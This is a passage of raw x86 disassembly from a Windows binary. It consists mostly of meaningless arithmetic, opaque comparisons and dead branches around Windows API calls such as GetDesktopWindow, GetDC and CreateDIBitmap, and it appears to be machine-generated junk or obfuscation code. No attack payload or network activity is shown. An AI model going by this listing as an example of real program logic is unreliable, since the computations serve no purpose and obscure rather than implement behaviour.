cmp dword [ebp - 0xd64], 0x93d0b548
je 0x46cdde
mov dword [ebp - 0x1b8c], 1
jmp 0x46cde5
and dword [ebp - 0x1b8c], 0
mov eax, dword [ebp - 0x1b8c]
mov dword [ebp - 0xd6c], eax
mov eax, dword [ebp - 0xd6c]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0xba8]
mov dword [ebp - 0x1b94], eax
mov eax, dword [ebp - 0x1b94]
imul eax, dword [ebp - 0x11c]
cmp eax, 0xffff
je 0x46ce2b
mov dword [ebp - 0x246c], 1
jmp 0x46ce32
and dword [ebp - 0x246c], 0
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x2c7c], eax
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x988]
cmp dword [ebp + eax*4 - 0xba8], ecx
jne 0x46ce5f
mov dword [ebp - 0xd74], 1
jmp 0x46ce66
and dword [ebp - 0xd74], 0
mov eax, dword [ebp - 0xd74]
add eax, 0xa1331d
cmp eax, 4
ja 0x46ce82
mov dword [ebp - 0x1b9c], 1
jmp 0x46ce89
and dword [ebp - 0x1b9c], 0
mov eax, dword [ebp - 0x988]
cmp dword [ebp - 0x1b9c], eax
jge 0x46cea3
mov dword [ebp - 0xd7c], 1
jmp 0x46ceaa
and dword [ebp - 0xd7c], 0
cmp dword [ebp - 0xd7c], 0x2455
jg 0x46cec2
mov dword [ebp - 0x2474], 1
jmp 0x46cec9
and dword [ebp - 0x2474], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov eax, dword [ebp + eax - 0x1ba4]
mov dword [ebp + ecx - 0xba8], eax
jmp 0x46ccb6
mov eax, dword [ebp - 0x51c]
mov dword [ebp - 0x2c84], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xba8]
mov dword [ebp - 0x2c8c], eax
mov eax, 0x61b8
test eax, eax
je 0x46cf31
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xba8]
add eax, dword [ebp - 0x51c]
je 0x46cf31
mov dword [ebp - 0xd84], 1
jmp 0x46cf38
and dword [ebp - 0xd84], 0
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0xd84], eax
jg 0x46cf52
mov dword [ebp - 0x1bac], 1
jmp 0x46cf59
and dword [ebp - 0x1bac], 0
cmp dword [ebp - 0x1bac], 0x866b3883
ja 0x46cf71
mov dword [ebp - 0xd8c], 1
jmp 0x46cf78
and dword [ebp - 0xd8c], 0
mov eax, dword [ebp - 0xd8c]
sub eax, 7
neg eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xba8]
jge 0x46cf9e
mov dword [ebp - 0x1bb4], 1
jmp 0x46cfa5
and dword [ebp - 0x1bb4], 0
cmp dword [ebp - 0x1bb4], 0xfffffffc
jl 0x46cfba
mov dword [ebp - 0xd94], 1
jmp 0x46cfc1
and dword [ebp - 0xd94], 0
mov eax, dword [ebp - 0xd94]
sub eax, dword [ebp - 0x51c]
add eax, 0x3837
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xba8], eax
mov dword [ebp - 0x2c94], 0xfffffffe
mov dword [ebp - 0x4b8], 0x7f6af112
push 2
lea ecx, [ebp - 0x2798]
call fcn.00430131
mov dword [ebp - 0x6cc], 0
jmp 0x46d019
mov eax, dword [ebp - 0x6cc]
inc eax
mov dword [ebp - 0x6cc], eax
cmp dword [ebp - 0x6cc], 2
jge 0x46d038
push dword [ebp - 0x6cc]
lea ecx, [ebp - 0x2798]
call fcn.0043021f
or dword [eax], 0xffffffff
jmp 0x46d00c
mov dword [ebp - 0x4b8], 0
jmp 0x46d051
mov eax, dword [ebp - 0x4b8]
dec eax
mov dword [ebp - 0x4b8], eax
cmp dword [ebp - 0x4b8], 0xfffffff9
jne 0x46d1ce
mov dword [ebp - 0x5cc], 0xfffffff7
cmp dword [ebp - 0x5cc], 0
je 0x46d076
jmp 0x46d1ce
mov dword [ebp - 0x5cc], 0
jmp 0x46d08f
mov eax, dword [ebp - 0x5cc]
inc eax
mov dword [ebp - 0x5cc], eax
cmp dword [ebp - 0x5cc], 1
jg 0x46d1c9
mov dword [ebp - 0x164], 0xffffffff
mov dword [ebp - 0x164], 1
jmp 0x46d0bf
mov eax, dword [ebp - 0x164]
dec eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
jl 0x46d189
mov dword [ebp - 0xa08], 1
mov dword [ebp - 0xa08], 1
jmp 0x46d0ef
mov eax, dword [ebp - 0xa08]
dec eax
mov dword [ebp - 0xa08], eax
cmp dword [ebp - 0xa08], 0
jl 0x46d15e
mov dword [ebp - 0x524], 0
mov dword [ebp - 0x524], 0
jmp 0x46d11b
mov eax, dword [ebp - 0x524]
inc eax
mov dword [ebp - 0x524], eax
cmp dword [ebp - 0x524], 2
jge 0x46d13d
push dword [ebp - 0x524]
lea ecx, [ebp - 0x2798]
call fcn.0043021f
mov dword [eax], 0x226c312f
jmp 0x46d10e
mov byte [ebp - 0x2a4], 0
movzx eax, byte [ebp - 0x2a4]
test eax, eax
je 0x46d15c
push 0x21cb
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
jmp 0x46d0e2
mov byte [ebp - 0x2a6], 0
movzx eax, byte [ebp - 0x2a6]
test eax, eax
je 0x46d184
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
jmp 0x46d0b2
mov dword [ebp - 0x164], 0
jmp 0x46d1a2
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 2
jge 0x46d1c4
push dword [ebp - 0x164]
lea ecx, [ebp - 0x2798]
call fcn.0043021f
mov dword [eax], 1
jmp 0x46d195
jmp 0x46d082
jmp 0x46d044
mov eax, dword [ebp - 0x4b8]
mov dword [ebp - 0x4b8], eax
lea ecx, [ebp - 0x2798]
call fcn.00430203
push 4
lea ecx, [ebp - 0xce4]
call fcn.00430131
mov dword [ebp - 0xa94], 0
mov dword [ebp - 0xda4], 0
mov dword [ebp - 0x6d4], 0
jmp 0x46d21f
mov eax, dword [ebp - 0x6d4]
inc eax
mov dword [ebp - 0x6d4], eax
cmp dword [ebp - 0x6d4], 4
jge 0x46d241
push dword [ebp - 0x6d4]
lea ecx, [ebp - 0xce4]
call fcn.0043021f
mov dword [eax], 1
jmp 0x46d212
push 2
lea ecx, [ebp - 0xce4]
call fcn.0043021f
and dword [eax], 0
jmp 0x46d277
push 2
lea ecx, [ebp - 0xce4]
call fcn.0043021f
mov dword [ebp - 0x1bbc], eax
mov eax, dword [ebp - 0x1bbc]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1bbc]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0xce4]
call fcn.0043021f
cmp dword [eax], 9
jg 0x46d303
mov dword [ebp - 0x624], 0x2d4ea680
mov dword [ebp - 0x990], 0
jmp 0x46d2ac
mov eax, dword [ebp - 0x990]
inc eax
mov dword [ebp - 0x990], eax
cmp dword [ebp - 0x990], 2
jge 0x46d2c8
mov eax, dword [ebp - 0x990]
mov dword [ebp + eax*4 - 0x2f5c], 0xa8b108f8
jmp 0x46d29f
mov dword [ebp - 0x624], 1
jmp 0x46d2e1
mov eax, dword [ebp - 0x624]
dec eax
mov dword [ebp - 0x624], eax
cmp dword [ebp - 0x624], 0
jl 0x46d2fe
mov eax, dword [ebp - 0x624]
cmp dword [ebp + eax*4 - 0x2f5c], 0
je 0x46d2fc
jmp 0x46d2fe
jmp 0x46d2d4
jmp 0x46d253
mov eax, dword [ebp - 0xa94]
mov dword [ebp - 0x2c9c], eax
push 3
lea ecx, [ebp - 0xce4]
call fcn.0043021f
cmp dword [eax], 0xfffffff7
jl 0x46d32d
mov dword [ebp - 0xd9c], 1
jmp 0x46d334
and dword [ebp - 0xd9c], 0
mov eax, dword [ebp - 0xa94]
cmp eax, dword [ebp - 0xd9c]
jge 0x46d34e
mov dword [ebp - 0x1bc4], 1
jmp 0x46d355
and dword [ebp - 0x1bc4], 0
mov eax, dword [ebp - 0x1bc4]
sub eax, dword [ebp - 0xa94]
mov dword [ebp - 0xda4], eax
mov esi, dword [ebp - 0xda4]
push 2
lea ecx, [ebp - 0xce4]
call fcn.0043021f
mov edi, eax
push 2
lea ecx, [ebp - 0xce4]
call fcn.0043021f
mov ebx, dword [eax]
imul ebx, dword [edi]
add ebx, esi
push 2
lea ecx, [ebp - 0xce4]
call fcn.0043021f
mov dword [eax], ebx
lea ecx, [ebp - 0xce4]
call fcn.00430203
mov dword [ebp - 0x6dc], 0
jmp 0x46d3c3
mov eax, dword [ebp - 0x6dc]
inc eax
mov dword [ebp - 0x6dc], eax
cmp dword [ebp - 0x6dc], 3
jge 0x46d3df
mov eax, dword [ebp - 0x6dc]
mov dword [ebp + eax*4 - 0x27c8], 0xffff
jmp 0x46d3b6
mov dword [ebp - 0x534], 0xfffffff6
jmp 0x46d3f8
mov eax, dword [ebp - 0x534]
dec eax
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 0xffffffea
jne 0x46e623
mov dword [ebp - 0x52c], 1
mov dword [ebp - 0x2484], 0x8451f1e2
mov dword [ebp - 0x2ca4], 0x6e6c8cac
mov dword [ebp - 0x2cac], 0xa4d9a54e
mov dword [ebp - 0x2cb4], 6
mov dword [ebp - 0x2cbc], 0xffffffff
mov dword [ebp - 0x2cc4], 0xfffffff8
mov dword [ebp - 0x2ccc], 0xef23e469
mov dword [ebp - 0x2cd4], 0x514faf14
mov dword [ebp - 0x2cdc], 0x59f451db
push 1
lea ecx, [ebp - 0x30a0]
call fcn.00430131
and dword [ebp - 0x2914], 0
and dword [ebp - 0x2910], 0
and dword [ebp - 0x290c], 0
and dword [ebp - 0x2908], 0
lea ecx, [ebp - 0xbb9]
call fcn.0043022e
push eax
lea eax, [ebp - 0x2904]
push eax
lea eax, [ebp - 0x2914]
push eax
lea ecx, [ebp - 0x3470]
call fcn.00430231
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x33b0]
call fcn.004301dd
mov dword [ebp - 0x2868], 0x97de2e51
mov dword [ebp - 0x2864], 0x97de2e51
mov dword [ebp - 0x2860], 0x97de2e51
mov dword [ebp - 0x285c], 0x97de2e51
mov dword [ebp - 0x48], 0
jmp 0x46d4ff
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 3
jge 0x46d515
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x2040], 0
jmp 0x46d4f8
mov dword [ebp - 0x48], 0
jmp 0x46d525
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 1
jge 0x46d541
push dword [ebp - 0x48]
lea ecx, [ebp - 0x30a0]
call fcn.0043021f
mov dword [eax], 0x39b8842b
jmp 0x46d51e
mov dword [ebp - 0x48], 0
jmp 0x46d551
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jge 0x46d567
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x3540], 0xf230b56b
jmp 0x46d54a
mov dword [ebp - 0x52c], 0xfffffff0
jmp 0x46d580
mov eax, dword [ebp - 0x52c]
inc eax
mov dword [ebp - 0x52c], eax
cmp dword [ebp - 0x52c], 0xe
jle 0x46d782
mov dword [ebp - 0xa48], 0
jmp 0x46d5a6
mov eax, dword [ebp - 0xa48]
inc eax
mov dword [ebp - 0xa48], eax
cmp dword [ebp - 0xa48], 1
jge 0x46d5c2
mov eax, dword [ebp - 0xa48]
mov dword [ebp + eax*4 - 0xd4], 0x7dd68876
jmp 0x46d599
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xd4], 2
jmp 0x46d5f0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xd4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd4], 0
jl 0x46d77d
mov dword [ebp - 0xdb4], 0x4a1cf041
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd4]
mov eax, dword [ebp + eax*4 - 0x2040]
mov dword [ebp - 0x2ce4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd4]
mov eax, dword [ebp + eax*4 - 0x2040]
neg eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xd4]
jne 0x46d659
mov dword [ebp - 0x247c], 1
jmp 0x46d660
and dword [ebp - 0x247c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2040]
mov dword [ebp - 0x2cec], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd4]
mov eax, dword [ebp + eax*4 - 0x2040]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xd4]
mov ecx, dword [ebp + ecx*4 - 0x2040]
imul ecx, dword [ebp - 0x52c]
imul eax, ecx
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2040]
jge 0x46d6c7
push 0xfffffffffffffff6
pop eax
test eax, eax
je 0x46d6c7
mov dword [ebp - 0x1bcc], 1
jmp 0x46d6ce
and dword [ebp - 0x1bcc], 0
cmp dword [ebp - 0x1bcc], 0xb302aff6
jbe 0x46d6e6
mov dword [ebp - 0xdac], 1
jmp 0x46d6ed
and dword [ebp - 0xdac], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd4]
cmp dword [ebp - 0xdac], eax
jle 0x46d70e
mov dword [ebp - 0x1bd4], 1
jmp 0x46d715
and dword [ebp - 0x1bd4], 0
mov eax, dword [ebp - 0x1bd4]
mov dword [ebp - 0xdb4], eax
cmp dword [ebp - 0xdb4], 0xfffffffc
jne 0x46d736
mov dword [ebp - 0x1bdc], 1
jmp 0x46d73d
and dword [ebp - 0x1bdc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd4]
mov eax, dword [ebp + eax*4 - 0x2040]
cmp dword [ebp - 0x1bdc], eax
jge 0x46d765
mov dword [ebp - 0xdbc], 1
jmp 0x46d76c
and dword [ebp - 0xdbc], 0
mov eax, dword [ebp - 0xdbc]
mov dword [ebp - 0x2484], eax
jmp 0x46d5d5
jmp 0x46d573
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2868]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2868], eax
lea ecx, [ebp - 0x33b0]
call fcn.00430203
lea ecx, [ebp - 0x30a0]
call fcn.00430203
mov dword [ebp - 0xcac], 0x1589
mov dword [ebp - 0xca8], 0x1589
mov dword [ebp - 0xca4], 0x1589
mov dword [ebp - 0xca0], 0x1589
mov dword [ebp - 0x134], 0xffff
mov dword [ebp - 0x6e4], 0x188047d2
mov dword [ebp - 0x2494], 0x63588c55
mov dword [ebp - 0x249c], 0
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x2cf4], eax
mov eax, dword [ebp - 0x134]
add eax, dword [ebp - 0x134]
mov dword [ebp - 0x6e4], eax
mov eax, dword [ebp - 0x134]
cmp dword [ebp - 0x6e4], eax
jle 0x46d83b
mov dword [ebp - 0x1be4], 1
jmp 0x46d842
and dword [ebp - 0x1be4], 0
mov eax, dword [ebp - 0x134]
cmp dword [ebp - 0x1be4], eax
jle 0x46d85c
mov dword [ebp - 0xdc4], 1
jmp 0x46d863
and dword [ebp - 0xdc4], 0
mov eax, dword [ebp - 0x134]
cmp eax, dword [ebp - 0xdc4]
jle 0x46d87d
mov dword [ebp - 0x1bec], 1
jmp 0x46d884
and dword [ebp - 0x1bec], 0
mov eax, dword [ebp - 0x134]
cmp eax, dword [ebp - 0x1bec]
jle 0x46d89e
mov dword [ebp - 0xdcc], 1
jmp 0x46d8a5
and dword [ebp - 0xdcc], 0
mov eax, dword [ebp - 0x134]
cmp eax, dword [ebp - 0xdcc]
jl 0x46d8bf
mov dword [ebp - 0x1bf4], 1
jmp 0x46d8c6
and dword [ebp - 0x1bf4], 0
cmp dword [ebp - 0x1bf4], 0
jne 0x46d8db
mov dword [ebp - 0xdd4], 1
jmp 0x46d8e2
and dword [ebp - 0xdd4], 0
mov eax, dword [ebp - 0xdd4]
sub eax, 0x4f4e7975
je 0x46d90d
cmp dword [ebp - 0x6e4], 0
je 0x46d90d
cmp dword [ebp - 0x6e4], 0
je 0x46d90d
mov dword [ebp - 0x248c], 1
jmp 0x46d914
and dword [ebp - 0x248c], 0
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x2cfc], eax
mov dword [ebp - 0x2494], 0xaa08
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x249c], eax
mov byte [ebp - 0x2a8], 0
movzx eax, byte [ebp - 0x2a8]
test eax, eax
je 0x46d96a
push 0
push 0
push 0x156d
push 0
push 0x170d
push 0
push 0x23ce
push 0x101d
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0xaa4], 0xa6b719d8
mov dword [ebp - 0x2d04], 0x8a8f
mov dword [ebp - 0x2d0c], 3
mov dword [ebp - 0x2d14], 0xc6f1bf50
mov dword [ebp - 0x2d1c], 8
mov dword [ebp - 0x2d24], 0xe5f36f6d
push 2
lea ecx, [ebp - 0x30b0]
call fcn.00430131
mov dword [ebp - 0x2d2c], 0x3e3
mov dword [ebp - 0x1bfc], 7
mov dword [ebp - 0x8a8], 0
jmp 0x46d9e0
mov eax, dword [ebp - 0x8a8]
inc eax
mov dword [ebp - 0x8a8], eax
cmp dword [ebp - 0x8a8], 2
jge 0x46d9ff
push dword [ebp - 0x8a8]
lea ecx, [ebp - 0x30b0]
call fcn.0043021f
and dword [eax], 0
jmp 0x46d9d3
mov eax, dword [ebp - 0x1bfc]
dec eax
mov dword [ebp - 0x1bfc], eax
lea ecx, [ebp - 0x30b0]
call fcn.00430203
mov dword [ebp - 0x24e4], 0x3e32883e
mov dword [ebp - 0x4b0], 0xffffffff
mov dword [ebp - 0xa9c], 0xde9bf9f
mov dword [ebp - 0x1c04], 0xfffffff6
mov dword [ebp - 0x24b4], 0xfffffffe
push 3
lea ecx, [ebp - 0x30c0]
call fcn.00430131
mov dword [ebp - 0xdec], 0xf36a5b5c
mov dword [ebp - 0x2d34], 0xffffffff
mov dword [ebp - 0x1c14], 0x8a0f8393
mov dword [ebp - 0x6ec], 0
jmp 0x46da8d
mov eax, dword [ebp - 0x6ec]
inc eax
mov dword [ebp - 0x6ec], eax
cmp dword [ebp - 0x6ec], 3
jge 0x46daaf
push dword [ebp - 0x6ec]
lea ecx, [ebp - 0x30c0]
call fcn.0043021f
mov dword [eax], 0x1b0cadfb
jmp 0x46da80
mov dword [ebp - 0x4b0], 6
jmp 0x46dac8
mov eax, dword [ebp - 0x4b0]
dec eax
mov dword [ebp - 0x4b0], eax
cmp dword [ebp - 0x4b0], 0xfffffff2
jge 0x46dc25
mov dword [ebp - 0x40c], 0xbe4438be
mov dword [ebp - 0x8ac], 0
jmp 0x46daf8
mov eax, dword [ebp - 0x8ac]
inc eax
mov dword [ebp - 0x8ac], eax
cmp dword [ebp - 0x8ac], 1
jge 0x46db14
mov eax, dword [ebp - 0x8ac]
mov dword [ebp + eax*4 - 0x24a4], 0
jmp 0x46daeb
mov eax, dword [ebp - 0x40c]
mov dword [ebp - 0x2d3c], eax
mov eax, dword [ebp - 0x40c]
add eax, dword [ebp - 0x40c]
cmp eax, dword [ebp - 0x40c]
jg 0x46db40
mov dword [ebp - 0xddc], 1
jmp 0x46db47
and dword [ebp - 0xddc], 0
cmp dword [ebp - 0xddc], 0xe3e4
je 0x46db5f
mov dword [ebp - 0xb80], 1
jmp 0x46db66
and dword [ebp - 0xb80], 0
mov eax, dword [ebp - 0x4b0]
mov dword [ebp - 0xa9c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb80]
mov dword [ebp + eax - 0x24a4], ecx
mov eax, dword [ebp - 0xb80]
mov dword [ebp - 0x1c04], eax
imul eax, dword [ebp - 0x1c04], 0
mov ecx, dword [ebp - 0xa9c]
inc ecx
imul ecx, eax
test ecx, ecx
jne 0x46dbb2
mov dword [ebp - 0xde4], 1
jmp 0x46dbb9
and dword [ebp - 0xde4], 0
mov eax, dword [ebp - 0x4b0]
cmp dword [ebp - 0xde4], eax
jle 0x46dbd3
mov dword [ebp - 0x1c0c], 1
jmp 0x46dbda
and dword [ebp - 0x1c0c], 0
mov eax, dword [ebp - 0x40c]
cmp eax, dword [ebp - 0x1c0c]
jle 0x46dbf4
mov dword [ebp - 0x24ac], 1
jmp 0x46dbfb
and dword [ebp - 0x24ac], 0
mov eax, dword [ebp - 0x40c]
mov dword [ebp - 0x2d44], eax
mov eax, dword [ebp - 0xa9c]
mov dword [ebp - 0x24b4], eax
mov eax, dword [ebp - 0xdec]
dec eax
mov dword [ebp - 0xdec], eax
jmp 0x46dabb
mov eax, dword [ebp - 0x1c14]
dec eax
mov dword [ebp - 0x1c14], eax
lea ecx, [ebp - 0x30c0]
call fcn.00430203
mov dword [ebp - 0x5d4], 0xffffffff
push 4
lea ecx, [ebp - 0x27b0]
call fcn.00430131
mov dword [ebp - 0x24c4], 0x796d
mov dword [ebp - 0xe14], 0xcf9e8bfa
mov dword [ebp - 0x6f4], 0
jmp 0x46dc81
mov eax, dword [ebp - 0x6f4]
inc eax
mov dword [ebp - 0x6f4], eax
cmp dword [ebp - 0x6f4], 4
jge 0x46dca3
push dword [ebp - 0x6f4]
lea ecx, [ebp - 0x27b0]
call fcn.0043021f
mov dword [eax], 0xfffe
jmp 0x46dc74
mov dword [ebp - 0x5d4], 0xfffffffe
jmp 0x46dcbc
mov eax, dword [ebp - 0x5d4]
dec eax
mov dword [ebp - 0x5d4], eax
cmp dword [ebp - 0x5d4], 0xffffffea
jg 0x46dfe5
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x1c34], 0x9a7e1289
mov dword [ebp - 0x18], 0
jmp 0x46dcea
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jg 0x46de97
mov dword [ebp - 0x8b4], 0
jmp 0x46dd0d
mov eax, dword [ebp - 0x8b4]
inc eax
mov dword [ebp - 0x8b4], eax
cmp dword [ebp - 0x8b4], 1
jge 0x46dd29
mov eax, dword [ebp - 0x8b4]
mov dword [ebp + eax*4 - 0xbe8], 6
jmp 0x46dd00
push dword [ebp - 0x18]
lea ecx, [ebp - 0x27b0]
call fcn.0043021f
cmp dword [eax], 0
je 0x46dd41
jmp 0x46de97
cmp dword [ebp - 0x18], 1
je 0x46dd50
mov eax, 0x3d21
test eax, eax
jne 0x46dd62
mov eax, 0xfd03
test eax, eax
jne 0x46dd62
and dword [ebp - 0xdf4], 0
jmp 0x46dd6c
mov dword [ebp - 0xdf4], 1
mov eax, dword [ebp - 0xdf4]
sub eax, dword [ebp - 0x18]
je 0x46dd93
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xbe8], 0
je 0x46dd93
mov dword [ebp - 0x1c1c], 1
jmp 0x46dd9a
and dword [ebp - 0x1c1c], 0
mov eax, dword [ebp - 0x1c1c]
sub eax, 0x4595a2e6
cmp eax, dword [ebp - 0x18]
jl 0x46ddb6
mov dword [ebp - 0xdfc], 1
jmp 0x46ddbd
and dword [ebp - 0xdfc], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0xdfc], eax
jg 0x46ddd4
mov dword [ebp - 0x24bc], 1
jmp 0x46dddb
and dword [ebp - 0x24bc], 0
mov eax, dword [ebp - 0x5d4]
mov dword [ebp - 0x2d4c], eax
push dword [ebp - 0x18]
lea ecx, [ebp - 0x27b0]
call fcn.0043021f
mov dword [eax], 0x3de0
push 4
pop eax
imul eax, eax, 0
imul eax, dword [ebp + eax - 0xbe8], 0x3de0
cmp eax, 0x79b347d1
je 0x46de1f
mov dword [ebp - 0x1c24], 1
jmp 0x46de26
and dword [ebp - 0x1c24], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x1c24], eax
jg 0x46de3d
mov dword [ebp - 0xe04], 1
jmp 0x46de44
and dword [ebp - 0xe04], 0
cmp dword [ebp - 0xe04], 7
jle 0x46de59
mov dword [ebp - 0x1c2c], 1
jmp 0x46de60
and dword [ebp - 0x1c2c], 0
cmp dword [ebp - 0x1c2c], 0xef874acc
jae 0x46de78
mov dword [ebp - 0xe0c], 1
jmp 0x46de7f
and dword [ebp - 0xe0c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xe0c]
mov dword [ebp + eax - 0xbe8], ecx
jmp 0x46dce3
mov dword [ebp - 0x18], 0
jmp 0x46dea7
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jle 0x46dfe0
push 3
lea ecx, [ebp - 0x259c]
call fcn.00430131
mov dword [ebp - 0x24cc], 0xffffffff
mov dword [ebp - 0x6fc], 0
jmp 0x46dee1
mov eax, dword [ebp - 0x6fc]
inc eax
mov dword [ebp - 0x6fc], eax
cmp dword [ebp - 0x6fc], 3
jge 0x46df03
push dword [ebp - 0x6fc]
lea ecx, [ebp - 0x259c]
call fcn.0043021f
mov dword [eax], 0xd06de21e
jmp 0x46ded4
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c34], eax
mov eax, dword [ebp - 0xe14]
cmp dword [ebp - 0x1c34], eax
jl 0x46df26
mov dword [ebp - 0x1c3c], 1
jmp 0x46df2d
and dword [ebp - 0x1c3c], 0
cmp dword [ebp - 0xe14], 0
jne 0x46df3f
cmp dword [ebp - 0x24c4], 0
je 0x46df51
cmp dword [ebp - 0x18], 0
je 0x46df51
mov dword [ebp - 0xe1c], 1
jmp 0x46df58
and dword [ebp - 0xe1c], 0
mov eax, dword [ebp - 0x1c3c]
cmp eax, dword [ebp - 0xe1c]
jne 0x46df72
mov dword [ebp - 0x1c44], 1
jmp 0x46df79
and dword [ebp - 0x1c44], 0
push 0
lea ecx, [ebp - 0x259c]
call fcn.0043021f
mov ecx, dword [ebp - 0x1c44]
cmp ecx, dword [eax]
jg 0x46dfae
push 2
lea ecx, [ebp - 0x259c]
call fcn.0043021f
cmp dword [eax], 0
je 0x46dfae
mov dword [ebp - 0xe24], 1
jmp 0x46dfb5
and dword [ebp - 0xe24], 0
mov esi, dword [ebp - 0xe24]
sub esi, dword [ebp - 0x24cc]
push 0
lea ecx, [ebp - 0x259c]
call fcn.0043021f
mov dword [eax], esi
lea ecx, [ebp - 0x259c]
call fcn.00430203
jmp 0x46dea0
jmp 0x46dcaf
lea ecx, [ebp - 0x27b0]
call fcn.00430203
push 4
lea ecx, [ebp - 0x30d0]
call fcn.00430131
mov dword [ebp - 0x704], 0x1febaeef
mov dword [ebp - 0x24d4], 2
mov dword [ebp - 0x8bc], 0
jmp 0x46e02a
mov eax, dword [ebp - 0x8bc]
inc eax
mov dword [ebp - 0x8bc], eax
cmp dword [ebp - 0x8bc], 4
jge 0x46e049
push dword [ebp - 0x8bc]
lea ecx, [ebp - 0x30d0]
call fcn.0043021f
and dword [eax], 0
jmp 0x46e01d
mov dword [ebp - 0x704], 3
jmp 0x46e062
mov eax, dword [ebp - 0x704]
dec eax
mov dword [ebp - 0x704], eax
cmp dword [ebp - 0x704], 0
jl 0x46e0ae
mov byte [ebp - 0x2aa], 0
movzx eax, byte [ebp - 0x2aa]
test eax, eax
je 0x46e0a1
push 0x1dc
push 0
push 0
push 0x1583
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
cmp dword [ebp - 0x24d4], 0
je 0x46e0ac
jmp 0x46e0ae
jmp 0x46e055
lea ecx, [ebp - 0x30d0]
call fcn.00430203
mov byte [ebp - 0x2ac], 0
movzx eax, byte [ebp - 0x2ac]
test eax, eax
je 0x46e39e
mov dword [ebp - 0x24dc], 0x1932e3ca
mov dword [ebp - 0x2d54], 2
mov dword [ebp - 0x2d5c], 1
mov dword [ebp - 0x2d64], 1
mov dword [ebp - 0x1c6c], 0x19d8
mov dword [ebp - 0x2d6c], 1
mov dword [ebp - 0x7c], 0
jmp 0x46e11b
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 1
jge 0x46e131
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0x2bc], 0xfffffffb
jmp 0x46e114
mov dword [ebp - 0x7c], 0
jmp 0x46e141
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 4
jge 0x46e157
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0x2018], 5
jmp 0x46e13a
mov dword [ebp - 0x7c], 0
jmp 0x46e167
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 3
jge 0x46e17d
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0x35b8], 0xfffffff9
jmp 0x46e160
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2018], 0
jmp 0x46e1ab
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2018]
inc eax
push 4
pop ecx
shl ecx, 0
